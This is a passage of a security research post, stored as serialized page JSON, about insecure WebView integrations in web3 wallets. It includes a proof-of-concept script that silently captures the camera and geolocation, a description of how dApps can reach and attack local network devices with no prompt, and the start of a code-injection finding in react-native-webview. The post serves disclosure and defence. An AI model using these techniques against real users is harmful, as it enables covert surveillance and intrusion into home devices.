'",{"type":20,"tag":315,"props":155698,"children":155699},{"style":334},[155700],{"type":26,"value":33111},{"type":20,"tag":315,"props":155702,"children":155703},{"style":635},[155704],{"type":26,"value":56199},{"type":20,"tag":315,"props":155706,"children":155707},{"style":334},[155708],{"type":26,"value":2214},{"type":20,"tag":315,"props":155710,"children":155711},{"class":317,"line":2061},[155712,155716,155720],{"type":20,"tag":315,"props":155713,"children":155714},{"style":525},[155715],{"type":26,"value":77334},{"type":20,"tag":315,"props":155717,"children":155718},{"style":541},[155719],{"type":26,"value":7455},{"type":20,"tag":315,"props":155721,"children":155722},{"style":334},[155723],{"type":26,"value":1405},{"type":20,"tag":315,"props":155725,"children":155726},{"class":317,"line":2070},[155727],{"type":20,"tag":315,"props":155728,"children":155729},{"style":334},[155730],{"type":26,"value":155731}," };\n",{"type":20,"tag":315,"props":155733,"children":155734},{"class":317,"line":2139},[155735],{"type":20,"tag":315,"props":155736,"children":155737},{"emptyLinePlaceholder":15},[155738],{"type":26,"value":427},{"type":20,"tag":315,"props":155740,"children":155741},{"class":317,"line":2147},[155742,155747,155751,155755],{"type":20,"tag":315,"props":155743,"children":155744},{"style":541},[155745],{"type":26,"value":155746}," async",{"type":20,"tag":315,"props":155748,"children":155749},{"style":541},[155750],{"type":26,"value":36630},{"type":20,"tag":315,"props":155752,"children":155753},{"style":345},[155754],{"type":26,"value":89038},{"type":20,"tag":315,"props":155756,"children":155757},{"style":334},[155758],{"type":26,"value":14137},{"type":20,"tag":315,"props":155760,"children":155761},{"class":317,"line":2177},[155762,155766,155771,155775,155779,155784,155788,155793,155797,155802,155806,155811,155815],{"type":20,"tag":315,"props":155763,"children":155764},{"style":541},[155765],{"type":26,"value":149292},{"type":20,"tag":315,"props":155767,"children":155768},{"style":635},[155769],{"type":26,"value":155770}," stream",{"type":20,"tag":315,"props":155772,"children":155773},{"style":334},[155774],{"type":26,"value":31325},{"type":20,"tag":315,"props":155776,"children":155777},{"style":525},[155778],{"type":26,"value":31330},{"type":20,"tag":315,"props":155780,"children":155781},{"style":635},[155782],{"type":26,"value":155783}," navigator",{"type":20,"tag":315,"props":155785,"children":155786},{"style":334},[155787],{"type":26,"value":61},{"type":20,"tag":315,"props":155789,"children":155790},{"style":635},[155791],{"type":26,"value":155792},"mediaDevices",{"type":20,"tag":315,"props":155794,"children":155795},{"style":334},[155796],{"type":26,"value":61},{"type":20,"tag":315,"props":155798,"children":155799},{"style":345},[155800],{"type":26,"value":155801},"getUserMedia",{"type":20,"tag":315,"props":155803,"children":155804},{"style":334},[155805],{"type":26,"value":29913},{"type":20,"tag":315,"props":155807,"children":155808},{"style":635},[155809],{"type":26,"value":155810},"video:",{"type":20,"tag":315,"props":155812,"children":155813},{"style":541},[155814],{"type":26,"value":544},{"type":20,"tag":315,"props":155816,"children":155817},{"style":334},[155818],{"type":26,"value":37251},{"type":20,"tag":315,"props":155820,"children":155821},{"class":317,"line":2185},[155822,155826,155831,155835,155839,155843,155847,155851,155856],{"type":20,"tag":315,"props":155823,"children":155824},{"style":541},[155825],{"type":26,"value":149292},{"type":20,"tag":315,"props":155827,"children":155828},{"style":635},[155829],{"type":26,"value":155830}," video",{"type":20,"tag":315,"props":155832,"children":155833},{"style":334},[155834],{"type":26,"value":31325},{"type":20,"tag":315,"props":155836,"children":155837},{"style":635},[155838],{"type":26,"value":31121},{"type":20,"tag":315,"props":155840,"children":155841},{"style":334},[155842],{"type":26,"value":61},{"type":20,"tag":315,"props":155844,"children":155845},{"style":345},[155846],{"type":26,"value":35137},{"type":20,"tag":315,"props":155848,"children":155849},{"style":334},[155850],{"type":26,"value":1049},{"type":20,"tag":315,"props":155852,"children":155853},{"style":2652},[155854],{"type":26,"value":155855},"\"video\"",{"type":20,"tag":315,"props":155857,"children":155858},{"style":334},[155859],{"type":26,"value":2214},{"type":20,"tag":315,"props":155861,"children":155862},{"class":317,"line":2217},[155863,155868,155872,155877,155881,155885],{"type":20,"tag":315,"props":155864,"children":155865},{"style":635},[155866],{"type":26,"value":155867}," video",{"type":20,"tag":315,"props":155869,"children":155870},{"style":334},[155871],{"type":26,"value":61},{"type":20,"tag":315,"props":155873,"children":155874},{"style":635},[155875],{"type":26,"value":155876},"srcObject",{"type":20,"tag":315,"props":155878,"children":155879},{"style":334},[155880],{"type":26,"value":31325},{"type":20,"tag":315,"props":155882,"children":155883},{"style":635},[155884],{"type":26,"value":34677},{"type":20,"tag":315,"props":155886,"children":155887},{"style":334},[155888],{"type":26,"value":1405},{"type":20,"tag":315,"props":155890,"children":155891},{"class":317,"line":2225},[155892,155896,155901,155905,155909,155913,155917,155921,155926],{"type":20,"tag":315,"props":155893,"children":155894},{"style":541},[155895],{"type":26,"value":149292},{"type":20,"tag":315,"props":155897,"children":155898},{"style":635},[155899],{"type":26,"value":155900}," canvas",{"type":20,"tag":315,"props":155902,"children":155903},{"style":334},[155904],{"type":26,"value":31325},{"type":20,"tag":315,"props":155906,"children":155907},{"style":635},[155908],{"type":26,"value":31121},{"type":20,"tag":315,"props":155910,"children":155911},{"style":334},[155912],{"type":26,"value":61},{"type":20,"tag":315,"props":155914,"children":155915},{"style":345},[155916],{"type":26,"value":35137},{"type":20,"tag":315,"props":155918,"children":155919},{"style":334},[155920],{"type":26,"value":1049},{"type":20,"tag":315,"props":155922,"children":155923},{"style":2652},[155924],{"type":26,"value":155925},"\"canvas\"",{"type":20,"tag":315,"props":155927,"children":155928},{"style":334},[155929],{"type":26,"value":2214},{"type":20,"tag":315,"props":155931,"children":155932},{"class":317,"line":2285},[155933],{"type":20,"tag":315,"props":155934,"children":155935},{"emptyLinePlaceholder":15},[155936],{"type":26,"value":427},{"type":20,"tag":315,"props":155938,"children":155939},{"class":317,"line":7444},[155940,155944,155948,155953,155958,155962],{"type":20,"tag":315,"props":155941,"children":155942},{"style":635},[155943],{"type":26,"value":155867},{"type":20,"tag":315,"props":155945,"children":155946},{"style":334},[155947],{"type":26,"value":61},{"type":20,"tag":315,"props":155949,"children":155950},{"style":345},[155951],{"type":26,"value":155952},"onloadedmetadata",{"type":20,"tag":315,"props":155954,"children":155955},{"style":334},[155956],{"type":26,"value":155957}," = () ",{"type":20,"tag":315,"props":155959,"children":155960},{"style":541},[155961],{"type":26,"value":13222},{"type":20,"tag":315,"props":155963,"children":155964},{"style":334},[155965],{"type":26,"value":1092},{"type":20,"tag":315,"props":155967,"children":155968},{"class":317,"line":7462},[155969,155974,155978,155983,155987,155991,155995,156000],{"type":20,"tag":315,"props":155970,"children":155971},{"style":635},[155972],{"type":26,"value":155973}," canvas",{"type":20,"tag":315,"props":155975,"children":155976},{"style":334},[155977],{"type":26,"value":61},{"type":20,"tag":315,"props":155979,"children":155980},{"style":635},[155981],{"type":26,"value":155982},"width",{"type":20,"tag":315,"props":155984,"children":155985},{"style":334},[155986],{"type":26,"value":31325},{"type":20,"tag":315,"props":155988,"children":155989},{"style":635},[155990],{"type":26,"value":130116},{"type":20,"tag":315,"props":155992,"children":155993},{"style":334},[155994],{"type":26,"value":61},{"type":20,"tag":315,"props":155996,"children":155997},{"style":635},[155998],{"type":26,"value":155999},"videoWidth",{"type":20,"tag":315,"props":156001,"children":156002},{"style":334},[156003],{"type":26,"value":1405},{"type":20,"tag":315,"props":156005,"children":156006},{"class":317,"line":7507},[156007,156011,156015,156020,156024,156028,156032,156037],{"type":20,"tag":315,"props":156008,"children":156009},{"style":635},[156010],{"type":26,"value":155973},{"type":20,"tag":315,"props":156012,"children":156013},{"style":334},[156014],{"type":26,"value":61},{"type":20,"tag":315,"props":156016,"children":156017},{"style":635},[156018],{"type":26,"value":156019},"height",{"type":20,"tag":315,"props":156021,"children":156022},{"style":334},[156023],{"type":26,"value":31325},{"type":20,"tag":315,"props":156025,"children":156026},{"style":635},[156027],{"type":26,"value":130116},{"type":20,"tag":315,"props":156029,"children":156030},{"style":334},[156031],{"type":26,"value":61},{"type":20,"tag":315,"props":156033,"children":156034},{"style":635},[156035],{"type":26,"value":156036},"videoHeight",{"type":20,"tag":315,"props":156038,"children":156039},{"style":334},[156040],{"type":26,"value":1405},{"type":20,"tag":315,"props":156042,"children":156043},{"class":317,"line":7613},[156044],{"type":20,"tag":315,"props":156045,"children":156046},{"style":334},[156047],{"type":26,"value":46325},{"type":20,"tag":315,"props":156049,"children":156050},{"class":317,"line":21914},[156051],{"type":20,"tag":315,"props":156052,"children":156053},{"emptyLinePlaceholder":15},[156054],{"type":26,"value":427},{"type":20,"tag":315,"props":156056,"children":156057},{"class":317,"line":21949},[156058,156063,156067,156072,156076,156080,156084],{"type":20,"tag":315,"props":156059,"children":156060},{"style":635},[156061],{"type":26,"value":156062}," connect",{"type":20,"tag":315,"props":156064,"children":156065},{"style":334},[156066],{"type":26,"value":61},{"type":20,"tag":315,"props":156068,"children":156069},{"style":345},[156070],{"type":26,"value":156071},"onclick",{"type":20,"tag":315,"props":156073,"children":156074},{"style":334},[156075],{"type":26,"value":31325},{"type":20,"tag":315,"props":156077,"children":156078},{"style":635},[156079],{"type":26,"value":49706},{"type":20,"tag":315,"props":156081,"children":156082},{"style":541},[156083],{"type":26,"value":26169},{"type":20,"tag":315,"props":156085,"children":156086},{"style":334},[156087],{"type":26,"value":1092},{"type":20,"tag":315,"props":156089,"children":156090},{"class":317,"line":21957},[156091,156096,156100,156105],{"type":20,"tag":315,"props":156092,"children":156093},{"style":635},[156094],{"type":26,"value":156095}," video",{"type":20,"tag":315,"props":156097,"children":156098},{"style":334},[156099],{"type":26,"value":61},{"type":20,"tag":315,"props":156101,"children":156102},{"style":345},[156103],{"type":26,"value":156104},"play",{"type":20,"tag":315,"props":156106,"children":156107},{"style":334},[156108],{"type":26,"value":568},{"type":20,"tag":315,"props":156110,"children":156111},{"class":317,"line":21965},[156112],{"type":20,"tag":315,"props":156113,"children":156114},{"emptyLinePlaceholder":15},[156115],{"type":26,"value":427},{"type":20,"tag":315,"props":156117,"children":156118},{"class":317,"line":21974},[156119,156123,156127,156132,156136,156141,156145,156150,156154,156158,156162,156166,156170,156174],{"type":20,"tag":315,"props":156120,"children":156121},{"style":635},[156122],{"type":26,"value":155973},{"type":20,"tag":315,"props":156124,"children":156125},{"style":334},[156126],{"type":26,"value":61},{"type":20,"tag":315,"props":156128,"children":156129},{"style":345},[156130],{"type":26,"value":156131},"getContext",{"type":20,"tag":315,"props":156133,"children":156134},{"style":334},[156135],{"type":26,"value":1049},{"type":20,"tag":315,"props":156137,"children":156138},{"style":2652},[156139],{"type":26,"value":156140},"\"2d\"",{"type":20,"tag":315,"props":156142,"children":156143},{"style":334},[156144],{"type":26,"value":19146},{"type":20,"tag":315,"props":156146,"children":156147},{"style":345},[156148],{"type":26,"value":156149},"drawImage",{"type":20,"tag":315,"props":156151,"children":156152},{"style":334},[156153],{"type":26,"value":1049},{"type":20,"tag":315,"props":156155,"children":156156},{"style":635},[156157],{"type":26,"value":130116},{"type":20,"tag":315,"props":156159,"children":156160},{"style":334},[156161],{"type":26,"value":44},{"type":20,"tag":315,"props":156163,"children":156164},{"style":765},[156165],{"type":26,"value":1063},{"type":20,"tag":315,"props":156167,"children":156168},{"style":334},[156169],{"type":26,"value":44},{"type":20,"tag":315,"props":156171,"children":156172},{"style":765},[156173],{"type":26,"value":1063},{"type":20,"tag":315,"props":156175,"children":156176},{"style":334},[156177],{"type":26,"value":2214},{"type":20,"tag":315,"props":156179,"children":156180},{"class":317,"line":22016},[156181,156186,156190,156195,156199,156204,156208,156212,156216,156221,156225,156230],{"type":20,"tag":315,"props":156182,"children":156183},{"style":635},[156184],{"type":26,"value":156185}," stream",{"type":20,"tag":315,"props":156187,"children":156188},{"style":334},[156189],{"type":26,"value":61},{"type":20,"tag":315,"props":156191,"children":156192},{"style":345},[156193],{"type":26,"value":156194},"getTracks",{"type":20,"tag":315,"props":156196,"children":156197},{"style":334},[156198],{"type":26,"value":28583},{"type":20,"tag":315,"props":156200,"children":156201},{"style":345},[156202],{"type":26,"value":156203},"forEach",{"type":20,"tag":315,"props":156205,"children":156206},{"style":334},[156207],{"type":26,"value":1049},{"type":20,"tag":315,"props":156209,"children":156210},{"style":635},[156211],{"type":26,"value":20134},{"type":20,"tag":315,"props":156213,"children":156214},{"style":541},[156215],{"type":26,"value":26169},{"type":20,"tag":315,"props":156217,"children":156218},{"style":635},[156219],{"type":26,"value":156220}," t",{"type":20,"tag":315,"props":156222,"children":156223},{"style":334},[156224],{"type":26,"value":61},{"type":20,"tag":315,"props":156226,"children":156227},{"style":345},[156228],{"type":26,"value":156229},"stop",{"type":20,"tag":315,"props":156231,"children":156232},{"style":334},[156233],{"type":26,"value":13826},{"type":20,"tag":315,"props":156235,"children":156236},{"class":317,"line":22049},[156237,156241,156245,156250,156254,156258,156262,156266],{"type":20,"tag":315,"props":156238,"children":156239},{"style":635},[156240],{"type":26,"value":155973},{"type":20,"tag":315,"props":156242,"children":156243},{"style":334},[156244],{"type":26,"value":61},{"type":20,"tag":315,"props":156246,"children":156247},{"style":345},[156248],{"type":26,"value":156249},"toBlob",{"type":20,"tag":315,"props":156251,"children":156252},{"style":334},[156253],{"type":26,"value":29938},{"type":20,"tag":315,"props":156255,"children":156256},{"style":635},[156257],{"type":26,"value":31362},{"type":20,"tag":315,"props":156259,"children":156260},{"style":334},[156261],{"type":26,"value":1468},{"type":20,"tag":315,"props":156263,"children":156264},{"style":541},[156265],{"type":26,"value":13222},{"type":20,"tag":315,"props":156267,"children":156268},{"style":334},[156269],{"type":26,"value":1092},{"type":20,"tag":315,"props":156271,"children":156272},{"class":317,"line":22057},[156273,156278,156282,156286,156290,156295,156299,156304,156308,156312],{"type":20,"tag":315,"props":156274,"children":156275},{"style":635},[156276],{"type":26,"value":156277}," pic",{"type":20,"tag":315,"props":156279,"children":156280},{"style":334},[156281],{"type":26,"value":61},{"type":20,"tag":315,"props":156283,"children":156284},{"style":635},[156285],{"type":26,"value":31083},{"type":20,"tag":315,"props":156287,"children":156288},{"style":334},[156289],{"type":26,"value":31325},{"type":20,"tag":315,"props":156291,"children":156292},{"style":635},[156293],{"type":26,"value":156294},"URL",{"type":20,"tag":315,"props":156296,"children":156297},{"style":334},[156298],{"type":26,"value":61},{"type":20,"tag":315,"props":156300,"children":156301},{"style":345},[156302],{"type":26,"value":156303},"createObjectURL",{"type":20,"tag":315,"props":156305,"children":156306},{"style":334},[156307],{"type":26,"value":1049},{"type":20,"tag":315,"props":156309,"children":156310},{"style":635},[156311],{"type":26,"value":31362},{"type":20,"tag":315,"props":156313,"children":156314},{"style":334},[156315],{"type":26,"value":2214},{"type":20,"tag":315,"props":156317,"children":156318},{"class":317,"line":22065},[156319],{"type":20,"tag":315,"props":156320,"children":156321},{"style":334},[156322],{"type":26,"value":156323}," });\n",{"type":20,"tag":315,"props":156325,"children":156326},{"class":317,"line":22074},[156327],{"type":20,"tag":315,"props":156328,"children":156329},{"emptyLinePlaceholder":15},[156330],{"type":26,"value":427},{"type":20,"tag":315,"props":156332,"children":156333},{"class":317,"line":22150},[156334,156339,156343,156348,156352,156357,156361,156366,156370],{"type":20,"tag":315,"props":156335,"children":156336},{"style":635},[156337],{"type":26,"value":156338}," navigator",{"type":20,"tag":315,"props":156340,"children":156341},{"style":334},[156342],{"type":26,"value":61},{"type":20,"tag":315,"props":156344,"children":156345},{"style":635},[156346],{"type":26,"value":156347},"geolocation",{"type":20,"tag":315,"props":156349,"children":156350},{"style":334},[156351],{"type":26,"value":61},{"type":20,"tag":315,"props":156353,"children":156354},{"style":345},[156355],{"type":26,"value":156356},"getCurrentPosition",{"type":20,"tag":315,"props":156358,"children":156359},{"style":334},[156360],{"type":26,"value":1049},{"type":20,"tag":315,"props":156362,"children":156363},{"style":635},[156364],{"type":26,"value":156365},"pos",{"type":20,"tag":315,"props":156367,"children":156368},{"style":541},[156369],{"type":26,"value":26169},{"type":20,"tag":315,"props":156371,"children":156372},{"style":334},[156373],{"type":26,"value":1092},{"type":20,"tag":315,"props":156375,"children":156376},{"class":317,"line":22183},[156377,156382,156386,156390,156394,156398,156403],{"type":20,"tag":315,"props":156378,"children":156379},{"style":541},[156380],{"type":26,"value":156381}," const",{"type":20,"tag":315,"props":156383,"children":156384},{"style":635},[156385],{"type":26,"value":35861},{"type":20,"tag":315,"props":156387,"children":156388},{"style":334},[156389],{"type":26,"value":31325},{"type":20,"tag":315,"props":156391,"children":156392},{"style":635},[156393],{"type":26,"value":156365},{"type":20,"tag":315,"props":156395,"children":156396},{"style":334},[156397],{"type":26,"value":61},{"type":20,"tag":315,"props":156399,"children":156400},{"style":635},[156401],{"type":26,"value":156402},"coords",{"type":20,"tag":315,"props":156404,"children":156405},{"style":334},[156406],{"type":26,"value":1405},{"type":20,"tag":315,"props":156408,"children":156409},{"class":317,"line":22191},[156410,156415,156419,156423,156427,156432,156436,156440,156444,156449,156453,156458,156462,156466,156470,156474,156478,156483,156487,156491,156495,156500,156504,156508,156512,156516,156520,156524,156528],{"type":20,"tag":315,"props":156411,"children":156412},{"style":635},[156413],{"type":26,"value":156414}," gps",{"type":20,"tag":315,"props":156416,"children":156417},{"style":334},[156418],{"type":26,"value":61},{"type":20,"tag":315,"props":156420,"children":156421},{"style":635},[156422],{"type":26,"value":33379},{"type":20,"tag":315,"props":156424,"children":156425},{"style":334},[156426],{"type":26,"value":31325},{"type":20,"tag":315,"props":156428,"children":156429},{"style":2652},[156430],{"type":26,"value":156431},"`Lat: ",{"type":20,"tag":315,"props":156433,"children":156434},{"style":541},[156435],{"type":26,"value":32523},{"type":20,"tag":315,"props":156437,"children":156438},{"style":635},[156439],{"type":26,"value":1528},{"type":20,"tag":315,"props":156441,"children":156442},{"style":334},[156443],{"type":26,"value":61},{"type":20,"tag":315,"props":156445,"children":156446},{"style":635},[156447],{"type":26,"value":156448},"latitude",{"type":20,"tag":315,"props":156450,"children":156451},{"style":334},[156452],{"type":26,"value":61},{"type":20,"tag":315,"props":156454,"children":156455},{"style":345},[156456],{"type":26,"value":156457},"toFixed",{"type":20,"tag":315,"props":156459,"children":156460},{"style":334},[156461],{"type":26,"value":1049},{"type":20,"tag":315,"props":156463,"children":156464},{"style":765},[156465],{"type":26,"value":2406},{"type":20,"tag":315,"props":156467,"children":156468},{"style":334},[156469],{"type":26,"value":1509},{"type":20,"tag":315,"props":156471,"children":156472},{"style":541},[156473],{"type":26,"value":32555},{"type":20,"tag":315,"props":156475,"children":156476},{"style":46624},[156477],{"type":26,"value":46627},{"type":20,"tag":315,"props":156479,"children":156480},{"style":2652},[156481],{"type":26,"value":156482},"Lon: ",{"type":20,"tag":315,"props":156484,"children":156485},{"style":541},[156486],{"type":26,"value":32523},{"type":20,"tag":315,"props":156488,"children":156489},{"style":635},[156490],{"type":26,"value":1528},{"type":20,"tag":315,"props":156492,"children":156493},{"style":334},[156494],{"type":26,"value":61},{"type":20,"tag":315,"props":156496,"children":156497},{"style":635},[156498],{"type":26,"value":156499},"longitude",{"type":20,"tag":315,"props":156501,"children":156502},{"style":334},[156503],{"type":26,"value":61},{"type":20,"tag":315,"props":156505,"children":156506},{"style":345},[156507],{"type":26,"value":156457},{"type":20,"tag":315,"props":156509,"children":156510},{"style":334},[156511],{"type":26,"value":1049},{"type":20,"tag":315,"props":156513,"children":156514},{"style":765},[156515],{"type":26,"value":2406},{"type":20,"tag":315,"props":156517,"children":156518},{"style":334},[156519],{"type":26,"value":1509},{"type":20,"tag":315,"props":156521,"children":156522},{"style":541},[156523],{"type":26,"value":32555},{"type":20,"tag":315,"props":156525,"children":156526},{"style":2652},[156527],{"type":26,"value":8782},{"type":20,"tag":315,"props":156529,"children":156530},{"style":334},[156531],{"type":26,"value":1405},{"type":20,"tag":315,"props":156533,"children":156534},{"class":317,"line":22199},[156535,156540,156544,156548,156553,156557,156561],{"type":20,"tag":315,"props":156536,"children":156537},{"style":334},[156538],{"type":26,"value":156539}," }, ",{"type":20,"tag":315,"props":156541,"children":156542},{"style":635},[156543],{"type":26,"value":46671},{"type":20,"tag":315,"props":156545,"children":156546},{"style":541},[156547],{"type":26,"value":26169},{"type":20,"tag":315,"props":156549,"children":156550},{"style":345},[156551],{"type":26,"value":156552}," alert",{"type":20,"tag":315,"props":156554,"children":156555},{"style":334},[156556],{"type":26,"value":1049},{"type":20,"tag":315,"props":156558,"children":156559},{"style":635},[156560],{"type":26,"value":46671},{"type":20,"tag":315,"props":156562,"children":156563},{"style":334},[156564],{"type":26,"value":5618},{"type":20,"tag":315,"props":156566,"children":156567},{"class":317,"line":22236},[156568],{"type":20,"tag":315,"props":156569,"children":156570},{"style":334},[156571],{"type":26,"value":46325},{"type":20,"tag":315,"props":156573,"children":156574},{"class":317,"line":22249},[156575],{"type":20,"tag":315,"props":156576,"children":156577},{"emptyLinePlaceholder":15},[156578],{"type":26,"value":427},{"type":20,"tag":315,"props":156580,"children":156581},{"class":317,"line":22262},[156582],{"type":20,"tag":315,"props":156583,"children":156584},{"style":334},[156585],{"type":26,"value":1728},{"type":20,"tag":315,"props":156587,"children":156588},{"class":317,"line":22275},[156589,156594],{"type":20,"tag":315,"props":156590,"children":156591},{"style":345},[156592],{"type":26,"value":156593}," main",{"type":20,"tag":315,"props":156595,"children":156596},{"style":334},[156597],{"type":26,"value":568},{"type":20,"tag":315,"props":156599,"children":156600},{"class":317,"line":22329},[156601,156605,156609],{"type":20,"tag":315,"props":156602,"children":156603},{"style":30791},[156604],{"type":26,"value":31242},{"type":20,"tag":315,"props":156606,"children":156607},{"style":541},[156608],{"type":26,"value":30831},{"type":20,"tag":315,"props":156610,"children":156611},{"style":30791},[156612],{"type":26,"value":4386},{"type":20,"tag":315,"props":156614,"children":156615},{"class":317,"line":22338},[156616,156620,156624],{"type":20,"tag":315,"props":156617,"children":156618},{"style":30791},[156619],{"type":26,"value":30845},{"type":20,"tag":315,"props":156621,"children":156622},{"style":541},[156623],{"type":26,"value":30815},{"type":20,"tag":315,"props":156625,"children":156626},{"style":30791},[156627],{"type":26,"value":4386},{"type":20,"tag":315,"props":156629,"children":156630},{"class":317,"line":30696},[156631,156635,156639],{"type":20,"tag":315,"props":156632,"children":156633},{"style":30791},[156634],{"type":26,"value":30845},{"type":20,"tag":315,"props":156636,"children":156637},{"style":541},[156638],{"type":26,"value":30798},{"type":20,"tag":315,"props":156640,"children":156641},{"style":30791},[156642],{"type":26,"value":4386},{"type":20,"tag":17297,"props":156644,"children":156645},{"id":2620},[156646],{"type":26,"value":2623},{"type":20,"tag":29,"props":156648,"children":156649},{},[156650],{"type":26,"value":156651},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":20,"tag":29,"props":156653,"children":156654},{},[156655,156657,156663],{"type":26,"value":156656},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":20,"tag":35,"props":156658,"children":156661},{"href":156659,"rel":156660},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[39],[156662],{"type":26,"value":45835},{"type":26,"value":61},{"type":20,"tag":29762,"props":156665,"children":156666},{"style":29764},[156667],{"type":20,"tag":2308,"props":156668,"children":156672},{"src":156669,"alt":156670,"style":156671},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":20,"tag":29,"props":156674,"children":156675},{},[156676],{"type":26,"value":156677},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":20,"tag":21,"props":156679,"children":156681},{"id":156680},"local-network-access",[156682],{"type":26,"value":156683},"Local Network Access",{"type":20,"tag":29,"props":156685,"children":156686},{},[156687,156689,156696,156698,156704],{"type":26,"value":156688},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":20,"tag":35,"props":156690,"children":156693},{"href":156691,"rel":156692},"https://wicg.github.io/private-network-access/",[39],[156694],{"type":26,"value":156695},"Private Network Access",{"type":26,"value":156697}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":20,"tag":35,"props":156699,"children":156702},{"href":156700,"rel":156701},"https://x.com/taviso/status/2051310678800253318",[39],[156703],{"type":26,"value":156700},{"type":26,"value":156705},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":20,"tag":29762,"props":156707,"children":156708},{"style":29764},[156709],{"type":20,"tag":2308,"props":156710,"children":156713},{"src":156711,"alt":156670,"style":156712},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":20,"tag":29,"props":156715,"children":156716},{},[156717],{"type":26,"value":156718},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":20,"tag":156720,"props":156721,"children":156724},"zoom-image",{"src":156722,"alt":156723},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":20,"tag":29,"props":156726,"children":156727},{},[156728],{"type":26,"value":156729},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":20,"tag":15089,"props":156731,"children":156732},{},[156733,156738,156743],{"type":20,"tag":72,"props":156734,"children":156735},{},[156736],{"type":26,"value":156737},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":20,"tag":72,"props":156739,"children":156740},{},[156741],{"type":26,"value":156742},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":20,"tag":72,"props":156744,"children":156745},{},[156746],{"type":26,"value":156747},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":20,"tag":29,"props":156749,"children":156750},{},[156751],{"type":26,"value":156752},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":20,"tag":21,"props":156754,"children":156756},{"id":156755},"uxss-by-code-injection",[156757],{"type":26,"value":156758},"UXSS by Code Injection",{"type":20,"tag":29,"props":156760,"children":156761},{},[156762,156764,156770],{"type":26,"value":156763},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":20,"tag":119,"props":156765,"children":156767},{"className":156766},[],[156768],{"type":26,"value":156769},"injectJavascriptObject",{"type":26,"value":156771}," attribute worked. Here is the code snippet:",{"type":20,"tag":305,"props":156773,"children":156775},{"className":155011,"code":156774,"language":155013,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[156776],{"type":20,"tag":119,"props":156777,"children":156778},{"__ignoreMap":7},[156779,156799,156828,156862,156917,157022,157034,157047],{"type":20,"tag":315,"props":156780,"children":156781},{"class":317,"line":318},[156782,156786,156790,156795],{"type":20,"tag":315,"props":156783,"children":156784},{"style":541},[156785],{"type":26,"value":69039},{"type":20,"tag":315,"props":156787,"children":156788},{"style":322},[156789],{"type":26,"value":49301},{"type":20,"tag":315,"props":156791,"children":156792},{"style":345},[156793],{"type":26,"value":156794}," injectJavascriptObject",{"type":20,"tag":315,"props":156796,"children":156797},{"style":328},[156798],{"type":26,"value":14137},{"type":20,"tag":315,"props":156800,"children":156801},{"class":317,"line":356},[156802,156806,156810,156815,156819,156824],{"type":20,"tag":315,"props":156803,"children":156804},{"style":525},[156805],{"type":26,"value":37703},{"type":20,"tag":315,"props":156807,"children":156808},{"style":328},[156809],{"type":26,"value":463},{"type":20,"tag":315,"props":156811,"children":156812},{"style":345},[156813],{"type":26,"value":156814},"getSettings",{"type":20,"tag":315,"props":156816,"children":156817},{"style":328},[156818],{"type":26,"value":28583},{"type":20,"tag":315,"props":156820,"children":156821},{"style":345},[156822],{"type":26,"value":156823},"getJavaScriptEnabled",{"type":20,"tag":315,"props":156825,"children":156826},{"style":328},[156827],{"type":26,"value":90279},{"type":20,"tag":315,"props":156829,"children":156830},{"class":317,"line":365},[156831,156836,156841,156845,156850,156854,156858],{"type":20,"tag":315,"props":156832,"children":156833},{"style":322},[156834],{"type":26,"value":156835}," String",{"type":20,"tag":315,"props":156837,"children":156838},{"style":635},[156839],{"type":26,"value":156840}," js",{"type":20,"tag":315,"props":156842,"children":156843},{"style":334},[156844],{"type":26,"value":1395},{"type":20,"tag":315,"props":156846,"children":156847},{"style":2652},[156848],{"type":26,"value":156849}," 